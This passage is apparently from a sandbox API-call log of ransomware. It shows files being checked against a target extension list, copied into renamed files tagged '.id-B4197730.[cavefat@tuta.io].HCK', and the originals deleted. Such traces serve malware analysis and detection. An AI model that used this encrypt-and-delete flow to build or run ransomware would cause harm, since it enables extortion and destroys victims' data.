dwFileAttributes=0x220) returned 1 [0171.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf")) returned 1 [0171.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.354] lstrlenW (lpString=".doc") returned 4 [0171.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.354] lstrlenW (lpString=".docx") returned 5 [0171.354] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.354] lstrlenW (lpString=".pdf") returned 4 [0171.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.354] lstrlenW (lpString=".xls") returned 4 [0171.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.354] lstrlenW (lpString=".xlsx") returned 5 [0171.354] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.354] lstrlenW (lpString=".ppt") returned 4 [0171.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.354] lstrlenW (lpString=".zip") returned 4 [0171.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.354] lstrlenW (lpString=".rar") returned 4 [0171.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.354] lstrlenW (lpString=".bz2") returned 4 [0171.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString=".7z") returned 3 [0171.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".dbf") returned 4 [0171.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".1cd") returned 4 [0171.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".jpg") returned 4 [0171.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".doc") returned 4 [0171.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString=".docx") returned 5 [0171.355] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.355] lstrlenW (lpString=".pdf") returned 4 [0171.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString=".xls") returned 4 [0171.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.355] lstrlenW (lpString=".xlsx") returned 5 [0171.355] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.355] lstrlenW (lpString=".ppt") returned 4 [0171.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".zip") returned 4 [0171.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.355] lstrlenW (lpString=".rar") returned 4 [0171.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString=".bz2") returned 4 [0171.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString=".7z") returned 3 [0171.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".dbf") returned 4 [0171.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".1cd") returned 4 [0171.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0171.355] lstrlenW (lpString=".jpg") returned 4 [0171.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.356] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.356] lstrlenW (lpString="J0239943.WMF") returned 12 [0171.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.370] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6552) returned 1 [0171.370] CloseHandle (hObject=0x30c) returned 1 [0171.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf")) returned 0x220 [0171.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.374] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.374] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.382] GetLastError () returned 0x0 [0171.382] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1998, lpOverlapped=0x0) returned 1 [0171.385] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x19a0, lpOverlapped=0x0) returned 1 [0171.386] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.386] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.386] SetEndOfFile (hFile=0x30c) returned 1 [0171.387] CloseHandle (hObject=0x30c) returned 1 [0171.389] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.389] SetEndOfFile (hFile=0x364) returned 1 [0171.392] CloseHandle (hObject=0x364) returned 1 [0171.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf")) returned 1 [0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.399] lstrlenW (lpString=".doc") returned 4 [0171.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.399] lstrlenW (lpString=".docx") returned 5 [0171.399] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.399] lstrlenW (lpString=".pdf") returned 4 [0171.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.399] lstrlenW (lpString=".xls") returned 4 [0171.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.399] lstrlenW (lpString=".xlsx") returned 5 [0171.399] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.399] lstrlenW (lpString=".ppt") returned 4 [0171.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.399] lstrlenW (lpString=".zip") returned 4 [0171.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.399] lstrlenW (lpString=".rar") returned 4 [0171.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.399] lstrlenW (lpString=".bz2") returned 4 [0171.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.399] lstrlenW (lpString=".7z") returned 3 [0171.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".dbf") returned 4 [0171.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".1cd") returned 4 [0171.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".jpg") returned 4 [0171.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".doc") returned 4 [0171.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString=".docx") returned 5 [0171.400] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.400] lstrlenW (lpString=".pdf") returned 4 [0171.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString=".xls") returned 4 [0171.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.400] lstrlenW (lpString=".xlsx") returned 5 [0171.400] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.400] lstrlenW (lpString=".ppt") returned 4 [0171.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".zip") returned 4 [0171.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.400] lstrlenW (lpString=".rar") returned 4 [0171.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString=".bz2") returned 4 [0171.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString=".7z") returned 3 [0171.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".dbf") returned 4 [0171.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".1cd") returned 4 [0171.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0171.400] lstrlenW (lpString=".jpg") returned 4 [0171.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.401] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.401] lstrlenW (lpString="J0239965.WMF") returned 12 [0171.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.406] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5920) returned 1 [0171.406] CloseHandle (hObject=0x30c) returned 1 [0171.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf")) returned 0x220 [0171.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.411] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.411] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.417] GetLastError () returned 0x0 [0171.417] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1720, lpOverlapped=0x0) returned 1 [0171.419] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1730, lpOverlapped=0x0) returned 1 [0171.420] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.420] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.420] SetEndOfFile (hFile=0x2ec) returned 1 [0171.422] CloseHandle (hObject=0x2ec) returned 1 [0171.424] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.424] SetEndOfFile (hFile=0x378) returned 1 [0171.428] CloseHandle (hObject=0x378) returned 1 [0171.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf")) returned 1 [0171.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.437] lstrlenW (lpString=".doc") returned 4 [0171.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.437] lstrlenW (lpString=".docx") returned 5 [0171.437] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.437] lstrlenW (lpString=".pdf") returned 4 [0171.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.437] lstrlenW (lpString=".xls") returned 4 [0171.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.437] lstrlenW (lpString=".xlsx") returned 5 [0171.437] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.437] lstrlenW (lpString=".ppt") returned 4 [0171.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.437] lstrlenW (lpString=".zip") returned 4 [0171.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.437] lstrlenW (lpString=".rar") returned 4 [0171.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.437] lstrlenW (lpString=".bz2") returned 4 [0171.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.437] lstrlenW (lpString=".7z") returned 3 [0171.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.437] lstrlenW (lpString=".dbf") returned 4 [0171.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.437] lstrlenW (lpString=".1cd") returned 4 [0171.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.437] lstrlenW (lpString=".jpg") returned 4 [0171.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.438] lstrlenW (lpString=".doc") returned 4 [0171.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString=".docx") returned 5 [0171.438] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.438] lstrlenW (lpString=".pdf") returned 4 [0171.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString=".xls") returned 4 [0171.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.438] lstrlenW (lpString=".xlsx") returned 5 [0171.438] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.438] lstrlenW (lpString=".ppt") returned 4 [0171.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.438] lstrlenW (lpString=".zip") returned 4 [0171.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.438] lstrlenW (lpString=".rar") returned 4 [0171.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString=".bz2") returned 4 [0171.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString=".7z") returned 3 [0171.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.438] lstrlenW (lpString=".dbf") returned 4 [0171.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.438] lstrlenW (lpString=".1cd") returned 4 [0171.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF") returned 68 [0171.438] lstrlenW (lpString=".jpg") returned 4 [0171.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.438] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.438] lstrlenW (lpString="J0239997.WMF") returned 12 [0171.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.446] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3288) returned 1 [0171.446] CloseHandle (hObject=0x378) returned 1 [0171.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf")) returned 0x220 [0171.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.463] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.463] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.469] GetLastError () returned 0x0 [0171.469] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xcd8, lpOverlapped=0x0) returned 1 [0171.470] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xce0, lpOverlapped=0x0) returned 1 [0171.470] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.470] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.471] SetEndOfFile (hFile=0x380) returned 1 [0171.476] CloseHandle (hObject=0x380) returned 1 [0171.477] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.477] SetEndOfFile (hFile=0x39c) returned 1 [0171.479] CloseHandle (hObject=0x39c) returned 1 [0171.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf")) returned 1 [0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 